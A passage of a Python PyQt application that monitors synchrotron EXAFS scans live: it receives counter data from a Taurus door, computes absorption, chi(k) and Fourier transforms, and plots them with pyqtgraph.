door.get_property("my_variable") after
door.put_property("my_variable")
"""
class DataReceiver(QtCore.QObject):
msgClear = QtCore.pyqtSignal()
msgMoveable = QtCore.pyqtSignal(list)
msgCounters = QtCore.pyqtSignal(list)
msgRepeats = QtCore.pyqtSignal(list)
msgHintE0 = QtCore.pyqtSignal(list)
msgRawData = QtCore.pyqtSignal(list)
msgMuData = QtCore.pyqtSignal(list)
def __init__(self):
QtCore.QObject.__init__(self)
if isTest:
# self.testTimer = QtCore.QTimer()
# self.testTimer.setSingleShot(True)
# self.testTimer.timeout.connect(self.test_random_listener)
# self.testTimer.timeout.connect(self.test_data_listener)
# self.testTimer.timeout.connect(self.test_data_listener_FY)
# self.testTimer.start(1000)
self.door = None
else:
import taurus
self.door = taurus.Device('Balder/Door/01')
dp = taurus.Attribute('Balder/Door/01/RecordData')
dp.addListener(self.listener)
def listener(self, evt_src, evt_type, evt_value):
if evt_type != 0:
return
# print(evt_src, evt_type, evt_value)
try:
dataJSON = json.loads(evt_value.rvalue[1])['data']
if 'ref_moveables' in dataJSON:
# print(dataJSON)
self.msgClear.emit()
moveable = dataJSON['ref_moveables'][0]
column_desc = dataJSON['column_desc']
# column_desc[0]: Pt No
# column_desc[1]: moveable
# column_desc[2]: timer
# column_desc[3:-1]: counters
# column_desc[-1]: dt
movMin = column_desc[1]['min_value']
movMax = column_desc[1]['max_value']
if 'energy' in moveable:
unit = 'eV'
elif moveable.endswith(('_rol', '_yaw')): # mirrors
unit = 'mrad'
elif moveable.endswith(('rol', 'yaw')): # crystals
unit = u'ยตrad'
elif moveable.endswith(('_x', '_y', '_z')):
unit = 'mm'
else:
unit = ''
self.msgMoveable.emit([moveable, unit, movMin, movMax])
self.moveable = moveable
allCounters = list(dataJSON['counters'])
counters, labels, units = [], [], []
kinds, locations, colors = [], [], []
iTR, iFY = 0, 0
for cd, c in zip(column_desc[3:], allCounters):
cond = cd['conditioning'].lower()
kind = SIGNAL_KIND_UNKNOWN
color = COLOR_DEFAULT
for label in LABELS_TR:
if label in c or label in cond:
kind = SIGNAL_KIND_TR
iTR += 1
color = colorCycleT[(iTR-1) % len(colorCycleT)]
break
for label in LABELS_FY:
# print(label, cond)
if label in c or label in cond:
kind = SIGNAL_KIND_FY
iFY += 1
color = colorCycleF[(iFY-1) % len(colorCycleF)]
# print("found fy")
break
if 'skip' in cond or 'hid' in cond:
continue # can't be right after 'for' for right color
isRight = 'right' in cond
if isRight and kind == SIGNAL_KIND_TR:
loc = 2
elif not isRight and kind == SIGNAL_KIND_FY:
loc = 3
elif isRight and kind == SIGNAL_KIND_FY:
loc = 4
else:
loc = 1
unit = u'A' if 'aem' in c else 'counts'
label = cd['label']
counters.append(c)
labels.append(label)
units.append(unit)
kinds.append(kind)
locations.append(loc)
colors.append(color)
self.counters = counters
self.locations = locations
self.msgCounters.emit([labels, units, locations, colors])
serialNo = dataJSON['serialno']
repeat, repeats = None, None
try:
if self.door is not None:
repeat = self.door.get_property('repeat')['repeat'] # a list of str # noqa
if repeat != []:
repeat = repeat[0]
repeats = self.door.get_property('repeats')['repeats']
if repeats != []:
repeats = repeats[0]
except IndexError:
pass
self.msgRepeats.emit([serialNo, repeat, repeats])
try:
hintE0 = self.door.get_property('hintE0')['hintE0'] # a list of str # noqa
if hintE0 != []:
self.msgHintE0.emit(
[float(hintE0[0]), float(hintE0[1])])
except: # noqa
pass
else:
data = [dataJSON[d] for d in [self.moveable] + self.counters]
for i, c in enumerate(self.counters):
if 'aem' in c:
data[i+1] *= 1e-3 # ind 0 is moveable
self.msgRawData.emit(data)
if 'energy' in self.moveable:
i0 = data[1] + data[2]
try:
muTData = np.log(i0 / data[3])
except: # noqa
muTData = 0.
muData = [data[0], muTData]
for d, loc in zip(data[1:], self.locations):
if loc in [2, 3]:
try:
muFData = d / i0
except: # noqa
muFData = 0.
muData.append(muFData)
self.msgMuData.emit(muData) # 1st is T
except: # noqa
pass
def test_random_listener(self):
self.msgClear.emit()
# moveable = 'mot_dummy'
moveable = 'energy'
movMin = 6000
movMax = 7000
self.msgMoveable.emit([moveable, 'eV', movMin, movMax])
counters = ['aem01.ch1', 'aem01.ch2', 'aem01.ch3',
'ch1_roi1', 'ch2_roi1']
# counters = ['aem01.ch1', 'aem01.ch2', 'aem01.ch3', 'aem01.ch4']
# 1: T-left, 2: T-right, 3: F-left, 4: F-right ::
locations = [1, 1, 2, 3, 3]
# locations = [1, 1, 2, 2]
units = [u'A' if 'aem' in c else 'counts' for c in counters]
colors = colorCycleT[0:3] + colorCycleF[0:2]
self.msgCounters.emit([counters, units, locations, colors])
self.msgRepeats.emit([None, 2, 3])
xs = np.linspace(movMin, movMax, 300)
for x in xs:
data = [x]
data += [np.random.random()*1e-5 for d in counters[:3]]
data += [1e4 + np.random.random()*1e3 for d in counters[3:]]
data[3] *= 2
I0 = data[1] + data[2]
try:
muDataT = np.log(I0 / data[3])
except: # noqa
muDataT = 0
try:
muDataF1 = data[4] / I0
except: # noqa
muDataF1 = 0
try:
muDataF2 = data[5] / I0
except: # noqa
muDataF2 = 0
self.msgRawData.emit(data)
if 'energy' in moveable:
self.msgMuData.emit([x, muDataT, muDataF1, muDataF2])
time.sleep(0.01)
def test_data_listener(self):
fileNames = ['test_data/Cu_004.cur']
# fileNames = ['test_data/CuO_fly1.cur']
for iFile, fileName in enumerate(fileNames):
self.msgClear.emit()
e, i0, i1 = np.loadtxt(
fileName, skiprows=1, unpack=True, usecols=(0, 1, 2))
i0 *= 1e-3
i1 *= 1e-3
moveable = 'energy'
movMin = e.min()
movMax = e.max()
self.msgMoveable.emit([moveable, 'eV', movMin, movMax])
counters = ['i0', 'i1']
# 1: T-left, 2: T-right, 3: F-left, 4: F-right ::
locations = [1, 2]
units = [u'A', u'A']
colors = colorCycleT[0:2]
self.msgCounters.emit([counters, units, locations, colors])
self.msgRepeats.emit([None, iFile+1, len(fileNames)])
print("started")
t0 = time.time()
for eRun, i0Run, i1Run in zip(e, i0, i1):
data = [eRun, i0Run, i1Run]
try:
muDataT = np.log(data[1]/data[2])
except: # noqa
muDataT = 0
self.msgRawData.emit(data)
self.msgMuData.emit([eRun, muDataT])
time.sleep(0.002)
print("finished in {0} s".format(time.time()-t0))
def test_data_listener_FY(self):
# fileNames = ['test_data/S90T3_spot6_010.dat']
# fileNames = [r"G:\hdf5\JG_slac_Ask_exafs_13k_3_1.hdf5",
# r"G:\hdf5\JG_slac_Ask_exafs_13k_3_2.hdf5",
# r"G:\hdf5\JG_slac_Ask_exafs_13k_3_3.hdf5"]
fileNames = [r"D:\BioXAS\George\JG_slac_Ask_exafs_13k_1.h5"]
for iFile, fileName in enumerate(fileNames):
self.msgClear.emit()
# e, ch1, ch2, ch3, ch4 = np.loadtxt(
# fileName, unpack=True, usecols=(1, 3, 4, 5, 6))
f = h5py.File(fileName, 'r')
scanGroup = f['scan']
e = np.array(scanGroup['AxisValues::BioXASEnergyControl'])
# e = np.array(scanGroup['EnergyFeedback']) Feedback values not monotonic
ch1 = np.array(scanGroup['I0Detector_darkCorrected'])
ch2 = np.array(scanGroup['I1Detector_darkCorrected'])
ch3 = np.array(scanGroup['I2Detector_darkCorrected'])
ch4 = np.sum(scanGroup['BioXASMainOutboardDetector'][:,950:1200], axis=1)
moveable = 'energy'
movMin = e.min()
movMax = e.max()
self.msgMoveable.emit([moveable, 'eV', movMin, movMax])
counters = ['ch1', 'ch2', 'ch3', 'ch4']
locations = [1, 1, 1, 3]
units = [u'counts', u'counts', u'counts', u'counts']
colors = colorCycleT[0:3] + colorCycleF[0:1]
self.msgCounters.emit([counters, units, locations, colors])
self.msgRepeats.emit([None, iFile+1, len(fileNames)])
# self.msgHintE0.emit([7112-50, 7112+50])
self.msgHintE0.emit([11867-50, 11867+50])
print("started")
t0 = time.time()
if allAtOnce:
data = [e, ch1, ch2, ch3, ch4]
i0 = ch1
try:
muDataT = np.log(i0/ch2)
except: # noqa
muDataT = 0
self.msgRawData.emit(data)
try:
muDataF = ch4 / i0
except: # noqa
muDataF = 0
self.msgMuData.emit([e, muDataT, muDataF])
else:
for eRun, ch1Run, ch2Run, ch3Run, ch4Run in zip(
e, ch1, ch2, ch3, ch4):
data = [eRun, ch1Run, ch2Run, ch3Run, ch4Run]
i0 = ch1Run + ch2Run
try:
muDataT = np.log(i0/ch3Run)
except: # noqa
muDataT = 0
self.msgRawData.emit(data)
try:
muDataF = ch4Run / i0
except: # noqa
muDataF = 0
self.msgMuData.emit([eRun, muDataT, muDataF])
time.sleep(0.002)
print("finished in {0} s".format(time.time()-t0))
def hdf_data_listener(self, inplist):
fileNames, edge, e, ch1, ch2, ch3, ch4list = inplist
self.msgClear.emit()
moveable = 'energy'
movMin = e.min()
movMax = e.max()
self.msgMoveable.emit([moveable, 'eV', movMin, movMax])
counters = ['ch1', 'ch2', 'ch3', 'ch4']
locations = [1, 1, 1, 3]
units = [u'counts', u'counts', u'counts', u'counts']
colors = colorCycleT[0:3] + colorCycleF[0:1]
self.msgCounters.emit([counters, units, locations, colors])
self.msgRepeats.emit([fileNames[0], 1, len(fileNames)])
# self.msgHintE0.emit([7112-50, 7112+50])
self.msgHintE0.emit([edge-50, edge+50])
data = [e, ch1, ch2, ch3, ch4list[0]]
i0 = ch1
try:
muDataT = np.log(i0/ch2)
except: # noqa
muDataT = 0
self.msgRawData.emit(data)
try:
muDataF = ch4list[0] / i0
except: # noqa
muDataF = 0
self.msgMuData.emit([e, muDataT, muDataF])
time.sleep(0.002)
class EXAFS_Extractor(QtCore.QObject):
"""With some modifications, largely taken from
github.com/vadmu/EXAFS_Monitor
"""
msgReady = QtCore.pyqtSignal(list)
def __init__(self):
super(EXAFS_Extractor, self).__init__()
self.pre1 = -150
self.pre2 = -50
self.post1 = 50
self.r = np.arange(0.0, 6.0, 0.02)
self.hintE0 = []
def prepare(self, lst):
self.e, self.muT, self.muFs = lst
def victoreenMod(self, e, c, d):
f = ch / e
return c*f**-3 + d*f
def e0(self, e, mu=None, precalcDeriv=None):
try:
if precalcDeriv is not None:
if self.hintE0:
cond = (e >= self.hintE0[0]) & (e <= self.hintE0[1])
indD = np.argmax(cond)
deriv = precalcDeriv[cond]
testE = e[cond]
else:
deriv = precalcDeriv
testE = e
indD = 0
ind = np.argmax(deriv)
return ind + indD, testE[ind], deriv[ind]
else:
if self.hintE0:
cond = (e >= self.hintE0[0]) & (e <= self.hintE0[1])
indD = np.argmax(cond)
testMu = mu[cond]
testE = e[cond]
else:
testMu = mu
testE = e
indD = 0
deriv = np.gradient(testMu) / np.gradient(testE)
deriv = gaussian_filter1d(deriv, 3)
ind = np.argmax(deriv)
return ind + indD, testE[ind], deriv[ind]
except (IndexError, ValueError):
return
def pre_edge(self, e, ie0, mu):
try:
idx1, idx2 = \
np.searchsorted(e, [e[ie0]+self.pre1, e[ie0]+self.pre2])
popt, pcov = \
curve_fit(self.victoreenMod, e[idx1:idx2+1], mu[idx1:idx2+1])
return self.victoreenMod(e, popt[0], popt[1])
except TypeError:
return
def k(self, e, mu):
rese0 = self.e0(self.e, mu)
if rese0 is None:
return
ie0 = rese0[0]
k = np.sqrt(eV2revA * (e[ie0:]-e[ie0]))
kmin_idx = np.searchsorted(e, e[ie0]+self.post1) - ie0
if kmin_idx > len(k) - 2:
return
return ie0, k, kmin_idx
def chi(self, e, ie0, mu, pre, k, kmin_idx, kw=2):
# k starts from e0
fun_fit = (mu[ie0:] - pre[ie0:]) * k**kw
n_knots = int(2.0 * (k.max()-k.min()) / np.pi) + 1
knots = np.linspace(k[kmin_idx], k[-2], n_knots)
# print(k, fun_fit, knots)
# print(np.diff(k))
spl = LSQUnivariateSpline(k, fun_fit, knots)
post = spl(k[kmin_idx:]) / k[kmin_idx:]**kw
edge_step = post[0]
chi = (mu - pre)[ie0:] - edge_step
chi[kmin_idx:] += edge_step - post
chi /= edge_step
# =============================================================================
# import matplotlib.pylab as plt
# # plt.plot(e, mu)
# # plt.plot(e, pre)
# # plt.plot(e, mu-pre)
# # plt.axvline(e[ie0], color='g')
# # plt.plot(e[ie0+kmin_idx:], post)
# # plt.axhline(edge_step, color='g')
# plt.plot(e[ie0:], chi)
# plt.show()
# # raise here
# =============================================================================
# return gaussian_filter1d(chi*k*k, 3)
return chi*k*k
def hann_win(self, k, kmin, kmax, dk):
win = np.ones_like(k)
win[k <= kmin] = 0
cond = (kmin < k) & (k < kmin+dk)
win[cond] = 0.5*(1 - np.cos(np.pi*(k[cond]-kmin)/dk))
cond = (kmax-dk < k) & (k < kmax)
win[cond] = 0.5*(1 - np.cos(np.pi*(kmax-k[cond])/dk))
win[k >= kmax] = 0
return win
def make_ft(self, k, chi, win):
ft_re = simps(np.cos(2.0*k*self.r[:, np.newaxis])*chi*win, k)
ft_im = simps(np.sin(2.0*k*self.r[:, np.newaxis])*chi*win, k)
ft_mag = (1.0/np.pi * np.abs(ft_re**2 + ft_im**2))**0.5
return ft_mag
def calculate(self):
xax = np.copy(self.e)
diffTest = np.diff(xax) <= 0
if any(diffTest):
xax[np.where(diffTest)] -= 1e-3
try:
mu = self.muT
kres = self.k(xax, mu)
if kres is None:
self.terminate()
return
ie0, k, kmin_idx = kres
pre_edge = self.pre_edge(xax, ie0, mu)
if pre_edge is None:
self.terminate()
return
chi = self.chi(xax, ie0, mu, pre_edge, k, kmin_idx)
winFT = self.hann_win(k, 2., max(k), 1.0)
ft = self.make_ft(k, chi, winFT)
ks = [k]
chis = [chi]
fts = [ft]
except ValueError:
ks = []
chis = []
fts = []
try:
for mu in self.muFs:
kres = self.k(xax, mu)
if kres is None:
self.terminate()
return
ie0, k, kmin_idx = kres
# print(ie0, k, kmin_idx)
pre_edge = self.pre_edge(xax, ie0, mu)
if pre_edge is None:
self.terminate()
return
pre_edge[:] *= 0
# print(pre_edge)
chi = self.chi(xax, ie0, mu, pre_edge, k, kmin_idx)
winFT = self.hann_win(k, 2., max(k), 1.0)
ft = self.make_ft(k, chi, winFT)
ks.append(k)
chis.append(chi)
fts.append(ft)
res = [ks, chis, fts, winFT]
except (TypeError, IndexError, ValueError):
raise
res = []
self.terminate(res)
def terminate(self, res=[]):
self.thread().terminate()
self.msgReady.emit(res)
def common_substring(sa, sb, isReversed=False):
"""finds the longest common substring of sa and sb"""
def _iter():
for a, b in zip(sa[::-1] if isReversed else sa,
sb[::-1] if isReversed else sb):
if a == b:
yield a
else:
return
res = ''.join(_iter())
return res[::-1] if isReversed else res
def intervals_extract(iterable):
iterable = sorted(set(iterable))
for key, gr in itertools.groupby(
enumerate(iterable), lambda t: int(t[1])-int(t[0])):
gr = list(gr)
yield [gr[0][1], gr[-1][1]]
def make_int_ranges(iterable):
"""examples:
a = ['2', '3', '4', '5', '7', '8', '9', '11', '15', '16', '17', '18']
print(make_int_ranges(a))
-> "[2..5, 7..9, 11, 15..18]"
a = ['03', '02', '04', '05']
print(make_int_ranges(a))
-> "[02..05]"
"""
ranges = list(intervals_extract(iterable))
aslist = ["{0[0]}..{0[1]}".format(r) if r[0] < r[1] else
"{0[0]}".format(r) for r in ranges]
return "[{}]".format(', '.join(aslist))
class MonitorWidget(QtGui.QWidget):
mesRequestEXAFS = QtCore.pyqtSignal(list)
def __init__(self, parent=None):
super(MonitorWidget, self).__init__(parent)
self.app = QtCore.QCoreApplication.instance()
# pg.setConfigOption('background',
# self.palette().color(QtGui.QPalette.Background))
# pg.setConfigOption('background', '#444444')
self.font = QtGui.QFont()
self.font.setPixelSize(15)
self.threadEXAFS = QtCore.QThread()
self.exafs_extractor = EXAFS_Extractor()
self.exafs_extractor.moveToThread(self.threadEXAFS)
self.exafs_extractor.msgReady.connect(self.setEXAFSdata)
self.threadEXAFS.started.connect(self.exafs_extractor.calculate)
self.setClear()
labelScanNo = QtGui.QLabel('Scan name')
self.scanNo = QtGui.QLabel('not set')
self.pointsReceived = QtGui.QLabel(': none points received')
self.coordinates = QtGui.QLabel()
self.coordinates.setFont(self.font)
self.repeatsBox = QtGui.QWidget()
labelRepeatNo = QtGui.QLabel('Repeat')
self.repeatNo = QtGui.QLabel(r'<i> not set <\i>')
labelRepeats = QtGui.QLabel('of')
self.repeats = QtGui.QLabel(r'<i> not set <\i>')
repeatsLayout = QtGui.QHBoxLayout()
repeatsLayout.setContentsMargins(0, 0, 0, 0)
repeatsLayout.addWidget(labelRepeatNo)
repeatsLayout.addWidget(self.repeatNo)
repeatsLayout.addWidget(labelRepeats)
repeatsLayout.addWidget(self.repeats)
self.repeatsBox.setLayout(repeatsLayout)
self.repeatsBox.setVisible(False)
headerLayout = QtGui.QHBoxLayout()
headerLayout.setContentsMargins(0, 0, 0, 0)
headerLayout.addWidget(labelScanNo)
headerLayout.addWidget(self.scanNo)
# headerLayout.addWidget(self.pointsReceived)
headerLayout.addStretch()
headerLayout.addWidget(self.coordinates)
headerLayout.addStretch()
headerLayout.addWidget(self.repeatsBox)
self.tabWidget = QtGui.QTabWidget(parent=self)
self.tabWidget.setStyleSheet("font-weight: bold")
self.tabRaw = pg.GraphicsLayoutWidget()
self.plotI = self.tabRaw.addPlot()
self.plotI.hideButtons()
self.plotI.vb.setMouseEnabled(x=True, y=False)
# self.plotI.showGrid(y=True)
# create right axis
# From pyqtgraph/examples/MultiplePlotAxes.py
self.plotIR = pg.ViewBox()
self.plotIR.setMouseEnabled(x=True, y=False)
self.plotI.showAxis('right')
self.plotI.scene().addItem(self.plotIR)
self.plotI.getAxis('right').linkToView(self.plotIR)
self.plotIR.setXLink(self.plotI)
self._updateTwinViews(self.plotI, self.plotIR)
self.plotI.vb.sigResized.connect(
partial(self._updateTwinViews, self.plotI, self.plotIR))
if needFY:
self.tabRaw.nextRow()
self.plotFY = self.tabRaw.addPlot()
self.plotFY.hideButtons()
self.plotFY.vb.setMouseEnabled(x=True, y=False)
self.plotFY.setXLink(self.plotI)
# create right axis
# From pyqtgraph/examples/MultiplePlotAxes.py
self.plotFYR = pg.ViewBox()
self.plotFYR.setMouseEnabled(x=True, y=False)
self.plotFY.showAxis('right')
self.plotFY.scene().addItem(self.plotFYR)
self.plotFY.getAxis('right').linkToView(self.plotFYR)
self.plotFYR.setXLink(self.plotFY)
self._updateTwinViews(self.plotFY, self.plotFYR)
self.plotFY.vb.sigResized.connect(
partial(self._updateTwinViews, self.plotFY, self.plotFYR))
self.curvesI = []
self.curvesIR = []
self.curvesFY = []
self.curvesFYR = []
self.tabWidget.addTab(self.tabRaw, 'Raw signals')
self.tabMu = pg.GraphicsLayoutWidget()
self.plotMuT = self.tabMu.addPlot()
self.plotMuT.hideButtons()
self.plotMuT.getAxis('bottom').setLabel('energy (eV)', **labelStyle)
labelStyleL = dict(labelStyle)
labelStyleL['color'] = COLOR_LIME
self.plotMuT.getAxis('left').setLabel(
r'ยตd <i>in transmission<\i>', **labelStyleL)
if needFY:
self.tabMu.nextRow()
self.plotMuF = self.tabMu.addPlot()
self.plotMuF.hideButtons()
self.plotMuF.setXLink(self.plotMuT)
self.plotMuF.getAxis('bottom').setLabel(
'energy (eV)', **labelStyle)
labelMuF = r'ยตd <i>in FY<\i>'
self.plotMuF.getAxis('left').setLabel(labelMuF, **labelStyle)
self.plotMuF.getAxis('right').setLabel(' ', **labelStyle)
self.plotMuF.getAxis('right').setVisible(True)
# create right axis (derivative of mu).
# From pyqtgraph/examples/MultiplePlotAxes.py
self.plotMuTP = pg.ViewBox()
self.plotMuT.showAxis('right')
self.plotMuT.scene().addItem(self.plotMuTP)
self.plotMuT.getAxis('right').linkToView(self.plotMuTP)
self.plotMuTP.setXLink(self.plotMuT)
labelStyleO = dict(labelStyle)
labelStyleO['color'] = COLOR_ORCHID
self.plotMuT.getAxis('right').setLabel(u"(ยตd)'", **labelStyleO)
self._updateTwinViews(self.plotMuT, self.plotMuTP)
self.plotMuT.vb.sigResized.connect(
partial(self._updateTwinViews, self.plotMuT, self.plotMuTP))
self.curvesMuT = []
self.curvesMuF = []
self.curvesMuTP = []
self.tabWidget.addTab(self.tabMu, u'ยตd')
self.tabChi = pg.GraphicsLayoutWidget()
self.plotChi = self.tabChi.addPlot()
self.plotChi.hideButtons()
self.plotChi.getAxis('bottom').setLabel(
u'k (ร
'+u"\u207B"+u'ยน)', **labelStyle)
self.plotChi.getAxis('left').setLabel(
u'ฯยทkยฒ (ร
'+u"\u207B"+u'ยฒ)', **labelStyle)
self.tabChi.nextRow()
self.plotFT = self.tabChi.addPlot()
self.plotFT.hideButtons()
self.plotFT.getAxis('bottom').setLabel(u'r (ร
)', **labelStyle)
self.plotFT.getAxis('left').setLabel(
u'|FT[ฯยทkยฒ]| (ร
'+u"\u207B"+u'ยณ)', **labelStyle)
self.curvesChi = []
self.curvesFT = []
self.tabWidget.addTab(self.tabChi, 'EXAFS ')
self.cbEXAFSTr = QtGui.QCheckBox('Tr')
self.cbEXAFSFY = QtGui.QCheckBox('FY')
self.cbBoxEXAFS = QtGui.QWidget()
cbLayout = QtGui.QHBoxLayout()
cbLayout.setContentsMargins(0, 0, 0, 0)
cbLayout.addWidget(self.cbEXAFSTr)
cbLayout.addWidget(self.cbEXAFSFY)
self.cbBoxEXAFS.setLayout(cbLayout)
self.tabWidget.tabBar().setTabButton(
self.tabWidget.tabBar().count()-1, QtGui.QTabBar.RightSide,
self.cbBoxEXAFS)
self.cbEXAFSTr.stateChanged.connect(self.updatePlots)
self.cbEXAFSFY.stateChanged.connect(self.updatePlots)
self.cbEXAFSTr.setChecked(True)
if needFY:
self.cbEXAFSFY.setChecked(True)
mainLayout = QtGui.QVBoxLayout()
mainLayout.addLayout(headerLayout)
mainLayout.addWidget(self.tabWidget)
self.setLayout(mainLayout)
self.setMinimumWidth(500)
self.setMinimumHeight(500)
self.resize(800, 800)
plots = [self.plotI, self.plotFY, self.plotMuT, self.plotMuF,
self.plotChi, self.plotFT] if needFY else\
[self.plotI, self.plotMuT, self.plotChi, self.plotFT]
for plot in plots:
pg.SignalProxy(plot.scene().sigMouseMoved, rateLimit=60,
slot=partial(self.mouseMoved, plot))
plot.scene().sigMouseMoved.connect(partial(self.mouseMoved, plot))
self.textE0 = pg.TextItem("", anchor=(1.1, 1), color=COLOR_ORCHID)
self.arrowE0 = pg.ArrowItem(angle=-90, brush='#00FFFF', pen='#00FFFF')
self.plotMuTP.addItem(self.textE0)
self.plotMuTP.addItem(self.arrowE0)
self.tabWidget.setCurrentIndex(0)
self.tabWidget.currentChanged.connect(self.updatePlots)
self.dataReceiver = DataReceiver()
self.dataReceiver.msgClear.connect(self.setClear)
self.dataReceiver.msgMoveable.connect(self.setMoveable)
self.dataReceiver.msgCounters.connect(self.setCounters)
self.dataReceiver.msgRepeats.connect(self.setRepeats)
self.dataReceiver.msgHintE0.connect(self.setHintE0)
self.dataReceiver.msgRawData.connect(self.setRawData)
self.dataReceiver.msgMuData.connect(self.setMuData)
def mouseMoved(self, plot, evt):
vb = plot.vb
try:
if plot.sceneBoundingRect().contains(evt):
mousePoint = vb.mapSceneToView(evt)
self.coordinates.setText('x={0:.7g}, y={1:.7g}'.format(
mousePoint.x(), mousePoint.y()))
except: # noqa
pass
def _updateTwinViews(self, plotLeft, plotRight):
# view has resized; update auxiliary views to match
plotRight.setGeometry(plotLeft.vb.sceneBoundingRect())
plotRight.linkedViewChanged(plotLeft.vb, plotRight.XAxis)
def setClear(self):
self.isFYenabled = False
self.nPointsReceived = 0
self.counters, self.locations = [], []
self.emu = []
self.muT = []
self.muFs = []
self.moveableValue = []
self.counterValues = []
self.chi = []
self.ft = []
self.chiFs = []
self.ftFs = []
self.setHintE0()
def setMoveable(self, lst):
self.moveable, unit, movMin, movMax = lst
self.isXAFSenabled = 'energy' in self.moveable.lower()
self.tabWidget.setTabEnabled(1, self.isXAFSenabled)
self.tabWidget.setTabEnabled(2, self.isXAFSenabled)
if not self.isXAFSenabled:
self.tabWidget.setCurrentIndex(0)
label = self.moveable + '{0}'.format(' ('+unit+')' if unit else '')
# if use 'units' kwarg of axis: pg adds a prefix to it and scales data
self.plotI.getAxis('bottom').setLabel(label, **labelStyle)
if needFY:
self.plotFY.getAxis('bottom').setLabel(label, **labelStyle)
self.plotI.setRange(xRange=[movMin, movMax])
self.plotI.vb.setLimits(xMin=movMin, xMax=movMax, yMin=None, yMax=None)
self.plotIR.setLimits(xMin=movMin, xMax=movMax)
if needFY:
self.plotFY.setRange(xRange=[movMin, movMax])
self.plotFY.vb.setLimits(xMin=movMin, xMax=movMax)
self.plotFYR.setLimits(xMin=movMin, xMax=movMax)
if self.isXAFSenabled:
self.plotMuT.setRange(xRange=[movMin, movMax])
self.plotMuT.vb.setLimits(xMin=movMin, xMax=movMax)
self.plotMuTP.setRange(xRange=[movMin, movMax])
if needFY:
self.plotMuF.setRange(xRange=[movMin, movMax])
self.plotMuF.vb.setLimits(xMin=movMin, xMax=movMax)
r = self.exafs_extractor.r
self.plotChi.vb.setLimits(xMin=0)
self.plotFT.setRange(xRange=[r.min(), r.max()])
self.plotFT.vb.setLimits(xMin=r.min(), xMax=r.max(), yMin=0)
def setCounters(self, lst):
""" lst = counters, units, locations, colors """
self.counters, units, self.locations, colors = lst
csTL = [c for c, loc in zip(self.counters, self.locations) if loc == 1]
clTL = [c for c, loc in zip(colors, self.locations) if loc == 1]
uTL = [u for u, loc in zip(units, self.locations) if loc == 1]
labelTL = self.makeAxisLabel(csTL)
self.plotI.getAxis('left').setLabel(
labelTL, units=uTL[0], **labelStyle)
csTR = [c for c, loc in zip(self.counters, self.locations) if loc == 2]
clTR = [c for c, loc in zip(colors, self.locations) if loc == 2]
uTR = [u for u, loc in zip(units, self.locations) if loc == 2]
if csTR:
self.plotI.getAxis('right').setVisible(True)
labelTR = self.makeAxisLabel(csTR)
self.plotI.getAxis('right').setLabel(
labelTR, units=uTR[0], **labelStyle)
else:
self.plotI.getAxis('right').setVisible(True)
self.plotI.getAxis('right').setLabel(units=uTL[0], **labelStyle)
self.plotIR.setYLink(self.plotI.vb)
self.isFYenabled = \
len([l for l in self.locations if l in [3, 4]]) > 0 and needFY
if self.isFYenabled:
csFL = [c for c, loc in zip(self.counters, self.locations) if
loc == 3]
clFL = [c for c, loc in zip(colors, self.locations) if loc == 3]
uFL = [u for u, loc in zip(units, self.locations) if loc == 3]
labelFL = self.makeAxisLabel(csFL)
self.plotFY.getAxis('left').setLabel(
labelFL, units=uFL[0], **labelStyle)
csFR = [c for c, loc in zip(self.counters, self.locations) if
loc == 4]
clFR = [c for c, loc in zip(colors, self.locations) if loc == 4]
uFR = [u for u, loc in zip(units, self.locations) if loc == 4]
if csFR:
self.plotFY.getAxis('right').setVisible(True)
labelFR = self.makeAxisLabel(csFR)
self.plotFY.getAxis('right').setLabel(
labelFR, units=uFR[0], **labelStyle)
else:
self.plotFY.getAxis('right').setVisible(True)
self.plotFY.getAxis('right').setLabel(
' ', units=uFL[0], **labelStyle)
self.plotFYR.setYLink(self.plotFY.vb)
else:
csFL, clFL, csFR, clFR = [], [], [], []
self.cbEXAFSFY.setChecked(False)
self.cbEXAFSFY.setEnabled(False)
self.setupFYplots()
self._curves(self.plotI, self.curvesI, csTL, clTL)
self._curves(self.plotIR, self.curvesIR, csTR, clTR)
if self.isFYenabled:
self._curves(self.plotFY, self.curvesFY, csFL, clFL)
self._curves(self.plotFYR, self.curvesFYR, csFR, clFR)
if self.isXAFSenabled:
if len(self.curvesMuT) < 1:
curveItem = pg.PlotCurveItem()
self.plotMuT.addItem(curveItem)
self.curvesMuT.append(curveItem)
self.curvesMuT[0].setPen(COLOR_LIME, width=PEN_WIDTH)
if len(self.curvesMuTP) < 1:
curveItem = pg.PlotCurveItem()
self.plotMuTP.addItem(curveItem)
self.curvesMuTP.append(curveItem)
self.curvesMuTP[0].setPen(COLOR_ORCHID, width=PEN_WIDTH)
if self.isFYenabled:
self._curves(
self.plotMuF, self.curvesMuF, csFL+csFR, clFL+clFR)
self._curves(self.plotChi, self.curvesChi, csFL+csFR, clFL+clFR, 2)
self._curves(self.plotFT, self.curvesFT, csFL+csFR, clFL+clFR, 1)
self.curvesChi[0].setPen(COLOR_LIME, width=PEN_WIDTH)
self.curvesChi[1].setPen(COLOR_GRAY, width=PEN_WIDTH)
self.curvesFT[0].setPen(COLOR_LIME, width=PEN_WIDTH)
def _curves(self, plot, curves, counters, colors, dc=0):
while len(curves) < len(counters)+dc:
curveItem = pg.PlotCurveItem()
plot.addItem(curveItem)
curves.append(curveItem)
while len(curves) > len(counters)+dc:
del curves[-1]
plot.removeItem(curves[-1])
for curve, color in zip(curves[dc:], colors):
curve.setPen(color, width=PEN_WIDTH)
def makeAxisLabel(self, counters):
try:
cs = ''
for c in counters:
if not cs:
cs = c
continue
cs = common_substring(cs, c)
if not cs:
break
cr = ''
for c in counters:
if not cr:
cr = c
continue
cr = common_substring(cr, c, True)
if not cr:
break
csN = len(cs)
crN = len(cr)
num = [c[csN:] if crN == 0 else c[csN:-crN] for c in counters]
label = cs + make_int_ranges(num) + cr
except: # noqa
label = ', '.join([c for c in counters])
return label
def setupFYplots(self):
if needFY:
self.plotFY.setVisible(self.isFYenabled)
if self.isFYenabled:
self.plotI.hideAxis('bottom')
else:
self.plotI.showAxis('bottom')
if not self.isXAFSenabled:
return
if needFY:
self.plotMuF.setVisible(self.isFYenabled)
if self.isFYenabled:
self.plotMuT.hideAxis('bottom')
else:
self.plotMuT.showAxis('bottom')
def setRepeats(self, lst):
try:
visible = lst[2] > 1
except: # noqa
visible = False
self.repeatsBox.setVisible(visible)
if lst[0]:
self.scanNo.setText(str(lst[0]))
if lst[1]:
self.repeatNo.setText(str(lst[1]))
if lst[2]:
self.repeats.setText(str(lst[2]))
def setHintE0(self, lst=[]):
self.exafs_extractor.hintE0 = lst
def setRawData(self, lst):
"""lst = [moveable] + counters"""
